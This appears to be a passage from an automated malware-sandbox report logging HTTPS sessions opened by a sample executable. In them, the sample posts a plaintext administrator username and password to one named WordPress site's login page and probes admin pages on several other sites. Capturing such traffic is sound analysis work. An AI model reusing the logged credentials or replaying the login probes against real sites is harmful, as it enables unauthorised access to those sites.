2023-11-26 06:00:07 UTC	523	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 37 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 6e 6e 30 67 37 72 68 32 6d 69 76 33 36 39 6f 75 34 36 6c 6f 62 67 35 70 6d 62 3b 20 65 78 70 69 72 65 73 3d 53 75 6e 2c 20 32 36 2d 4e 6f 76 2d 32 30 32 33 20 30 37 3a 30 30 3a 30 37 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 36 30 30 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 45 78 70 69 72 65 73 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 06:00:07 GMTTransfer-Encoding: chunkedConnection: closeSet-Cookie: PHPSESSID=nn0g7rh2miv369ou46lobg5pmb; expires=Sun, 26-Nov-2023 07:00:07 GMT; Max-Age=3600; path=/; secure; HttpOnlyExpires
2023-11-26 06:00:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.4	57962	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:06 UTC	398	OUT	POST /wp-login.php HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; tk_ai=jetpack%3AKIbxliTbCWm3cOu8N5Br803S User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://gruporegiosafety.com/wp-login.php Content-Length: 147 Content-Type: application/x-www-form-urlencoded
2023-11-26 06:00:06 UTC	147	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 26 70 77 64 3d 43 6f 6d 70 72 61 73 47 52 53 32 30 32 33 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 41 63 63 65 64 65 72 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=administrator&pwd=ComprasGRS2023&rememberme=forever&wp-submit=Acceder&redirect_to=https%3A%2F%2Fgruporegiosafety.com%2Fwp-admin%2F&testcookie=1
2023-11-26 06:00:07 UTC	352	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:06 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/;
2023-11-26 06:00:07 UTC	7840	IN	Data Raw: 32 38 63 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 41 63 63 65 64 65 72 20 26 6c 73 61 71 75 6f 3b 20 47 52 55 50 4f 20 52 45 47 49 4f 20 53 41 46 45 54 59 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 2e 6c 6f 67 69 6e 2d 61 63 74 69 6f 6e 2d 6c 6f 73 74 70 61 73 73 77 6f 72 64 20 23 6c 6f 67 69 6e 5f 65 72 72 6f 72 7b 0a 20 20 Data Ascii: 28cd<!DOCTYPE html><html lang="es-MX"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Acceder &lsaquo; GRUPO REGIO SAFETY — WordPress</title> <style> .login-action-lostpassword #login_error{
2023-11-26 06:00:07 UTC	2611	IN	Data Raw: 22 64 6f 6d 61 69 6e 22 3a 22 6d 65 73 73 61 67 65 73 22 2c 22 6c 6f 63 61 6c 65 5f 64 61 74 61 22 3a 7b 22 6d 65 73 73 61 67 65 73 22 3a 7b 22 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 65 73 73 61 67 65 73 22 2c 22 70 6c 75 72 61 6c 2d 66 6f 72 6d 73 22 3a 22 6e 70 6c 75 72 61 6c 73 3d 32 3b 20 70 6c 75 72 61 6c 3d 6e 20 21 3d 20 31 3b 22 2c 22 6c 61 6e 67 22 3a 22 65 73 5f 4d 58 22 7d 2c 22 25 31 24 73 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 73 69 6e 63 65 20 76 65 72 73 69 6f 6e 20 25 32 24 73 21 20 55 73 65 20 25 33 24 73 20 69 6e 73 74 65 61 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 73 69 64 65 72 20 77 72 69 74 69 6e 67 20 6d 6f 72 65 20 69 6e 63 6c 75 73 69 76 65 20 63 6f 64 65 2e 22 3a 5b 22 5c 75 30 30 61 31 25 31 24 73 20 65 73 74 5c 75 30 30 Data Ascii: "domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n != 1;","lang":"es_MX"},"%1$s is deprecated since version %2$s! Use %3$s instead. Please consider writing more inclusive code.":["\u00a1%1$s est\u00
2023-11-26 06:00:07 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 06:00:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.4	57899	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:06 UTC	940	OUT	GET /login/?page=%2Fwp-admin%2F HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=0pfpv6fic6tscei8l2krgncvto User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://login.microsoftonline.com/c8f4395e-fa4e-4196-adb9-ba2cd2ca09f0/saml2?SAMLRequest=fZJLj9sgFIX3%2BRUj740xzmOMkkjppI9IaRJN0i66qa7heoKEwQN42vz7OmaqaSs1LA%2F3Ozr3wNxDo1u%2B6sLZPOJzhz6M7vrzs9HG8%2BFykXTOcAteeW6gQc%2BD4MfV5y1nhPLW2WCF1ck%2F2G0KvEcXlDUR26wXyX73frv%2FuNl9L%2BsCZ6xiMygKEILeU5nXVT6dVZJhIRkUk0kNExnRr%2Bh877NIettkFN2873BjfAATep2yIs3zlE1PdMop5ZR9i%2Bi6X1YZCAN%2BDqH1PMu0fVKGNEo4620drNHKIBG2ycR9PS7KCaY1jDEd5%2BU0BVmVaQVMSCaAljXNrquzaH94beadMlKZp9uFVHHI80%2Bn0yE97I%2BnaLL6XdSDNb5r0B3RvSiBXx63b5mbCxGgX8BdyLOWBGVHoBuiZCJipD23yXJwnF91PnTkljcd5tmfo29wy3d9%2Fs36YLUSl0G%2Fng%2FWNRD%2Bv2ZO8kFRMq2HUd4Z36JQtcLXxxw21tr%2BeHAIARdJcB0md9lyFLP8%2FVGXvwA%3D&RelayState=%2Fwp-login.php
2023-11-26 06:00:07 UTC	541	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 33 20 53 65 65 20 4f 74 68 65 72 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a Data Ascii: HTTP/1.1 303 See OtherServer: nginxDate: Sun, 26 Nov 2023 06:00:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate
2023-11-26 06:00:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.4	58017	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:06 UTC	178	OUT	GET /admin.php HTTP/1.1 Host: rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:07 UTC	204	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 61 67 72 69 63 6f 6c 61 2e 63 6f 6d 2e 62 72 2f 61 64 6d 69 6e 2e 70 68 70 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 06:00:07 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rechagricola.com.br/admin.php
2023-11-26 06:00:07 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.4	58169	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:07 UTC	240	OUT	GET / HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip Cookie: ff59ae34f86788aafc83adbd6fbb16ab=294c8cffe744133c8b51c696bc79a752 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:08 UTC	520	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 37 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 77 70 2f 76 32 2f 70 61 67 65 73 2f 32 38 3e 3b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 3b 20 74 79 Data Ascii: HTTP/1.1 200 OKdate: Sun, 26 Nov 2023 06:00:07 GMTserver: Apache/2.4.57 (Debian)x-powered-by: PHP/8.2.12link: <https://www.maxiv.lu.se/wp-json/>; rel="https://api.w.org/"link: <https://www.maxiv.lu.se/wp-json/wp/v2/pages/28>; rel="alternate"; ty
2023-11-26 06:00:08 UTC	6240	IN	Data Raw: 31 38 35 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 4d 41 58 20 49 56 20 26 23 38 32 31 31 3b 20 57 65 20 6d 61 6b 65 20 74 68 65 20 69 6e 76 69 73 69 62 Data Ascii: 1858<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="http://gmpg.org/xfn/11"><title>MAX IV – We make the invisib
2023-11-26 06:00:08 UTC	16322	IN	Data Raw: 33 46 42 41 0d 0a 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 29 20 21 69 6d 70 6f 72 Data Ascii: 3FBAr{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !impor
2023-11-26 06:00:08 UTC	70	IN	Data Raw: 34 30 0d 0a 2e 32 32 37 2e 30 35 37 20 31 2e 32 36 36 2e 30 37 20 31 2e 36 34 36 2e 30 37 20 34 2e 38 35 73 2d 2e 30 31 35 20 33 2e 35 38 35 2d 2e 30 37 34 20 34 2e 38 35 63 2d 2e 30 36 31 20 31 2e 31 37 0d 0a Data Ascii: 40.227.057 1.266.07 1.646.07 4.85s-.015 3.585-.074 4.85c-.061 1.17
2023-11-26 06:00:08 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 2d 2e 32 35 36 20 31 2e 38 30 35 2d 2e 34 32 31 20 32 2e 32 32 37 61 33 2e 38 31 20 33 2e 38 31 20 30 20 30 20 31 2d 2e 38 39 39 20 31 2e 33 38 32 20 33 2e 37 34 34 20 33 2e 37 34 34 20 30 20 30 20 31 2d 31 2e 33 38 2e 38 39 36 63 2d 2e 34 32 2e 31 36 34 2d 31 2e 30 36 35 2e 33 36 2d 32 2e 32 33 35 2e 34 31 33 2d 31 2e 32 37 34 2e 30 35 37 2d 31 2e 36 34 39 2e 30 37 2d 34 2e 38 35 39 2e 30 37 2d 33 2e 32 31 31 20 30 2d 33 2e 35 38 36 2d 2e 30 31 35 2d 34 2e 38 35 39 2d 2e 30 37 34 2d 31 2e 31 37 31 2d 2e 30 36 31 2d 31 2e 38 31 36 2d 2e 32 35 36 2d 32 2e 32 33 36 2d 2e 34 32 31 61 33 2e 37 31 36 20 33 2e 37 31 36 20 30 20 30 20 31 2d 31 2e 33 37 39 2d 2e 38 39 39 20 33 2e 36 34 34 20 33 2e 36 34 34 20 30 20 30 20 31 2d 2e 39 2d 31 2e 33 Data Ascii: 3FC0-.256 1.805-.421 2.227a3.81 3.81 0 0 1-.899 1.382 3.744 3.744 0 0 1-1.38.896c-.42.164-1.065.36-2.235.413-1.274.057-1.649.07-4.859.07-3.211 0-3.586-.015-4.859-.074-1.171-.061-1.816-.256-2.236-.421a3.716 3.716 0 0 1-1.379-.899 3.644 3.644 0 0 1-.9-1.3
2023-11-26 06:00:08 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 3c 2f 73 70 61 6e 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 65 67 61 2d 6d 65 6e 75 2d 77 72 61 70 70 65 72 22 3e 3c 75 6c 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 77 69 74 68 2d 69 6d 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 31 27 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 65 67 61 2d 6d 65 6e 75 2d 69 74 65 6d 2d 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 65 67 61 2d 6d 65 6e 75 2d 69 74 65 6d 2d 69 6d 61 67 65 2d 77 72 61 70 70 65 72 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 Data Ascii: 3FB8</span><div class="mega-menu-wrapper"><ul class="container"><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-with-image item-depth-1'><div class="mega-menu-item-wrap"><div class="mega-menu-item-image-wrapper"><a href="ht
2023-11-26 06:00:08 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 62 61 6c 64 65 72 2f 65 78 70 65 72 69 6d 65 6e 74 61 6c 2d 73 74 61 74 69 6f 6e 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 45 78 70 65 72 69 6d 65 6e 74 61 6c 20 73 74 61 74 69 6f 6e 3c 2f 61 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 70 6c 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 61 64 Data Ascii: 3FC0ef="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/balder/experimental-station/" class="menu-item-label">Experimental station</a><span class="material-icon submenu-toggler plus-icon" aria-hidden="true"><span class="material-icons-sharp">ad
2023-11-26 06:00:08 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 61 6d 6c 69 6e 65 73 2f 64 61 6e 6d 61 78 2f 65 78 70 65 72 69 6d 65 6e 74 61 6c 2d 73 74 61 74 69 6f 6e 2f 73 61 6d 70 6c 65 2d 65 6e 76 69 72 6f 6e 6d 65 6e 74 73 2d 61 6e 64 2d 65 71 75 69 70 6d 65 6e 74 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 53 61 6d 70 6c 65 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 73 20 61 6e 64 20 65 71 75 69 70 6d 65 6e 74 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 Data Ascii: 3FB8amlines/danmax/experimental-station/sample-environments-and-equipment/" class="menu-item-label">Sample environments and equipment</a></li></ul></li><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-4'><a href="https://ww
2023-11-26 06:00:08 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 61 64 64 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 72 65 6d 6f 76 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 6c 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 Data Ascii: 3FC0="material-icons-sharp">add</span></span><span class="material-icon submenu-toggler d-none minus-icon" aria-hidden="true"><span class="material-icons-sharp">remove</span></span><ul><li class='menu-item menu-item-type-post_type menu-item-object-page
2023-11-26 06:00:08 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 6c 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 76 65 72 69 74 61 73 2f 75 73 65 72 2d 69 6e 66 6f 72 6d 61 74 69 6f 6e 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 55 73 65 72 20 69 6e 66 6f 72 6d Data Ascii: 3FC0span></span><ul><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth-4'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/veritas/user-information/" class="menu-item-label">User inform

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.4	58194	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:07 UTC	168	OUT	GET /admin HTTP/1.1 Host: www.knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
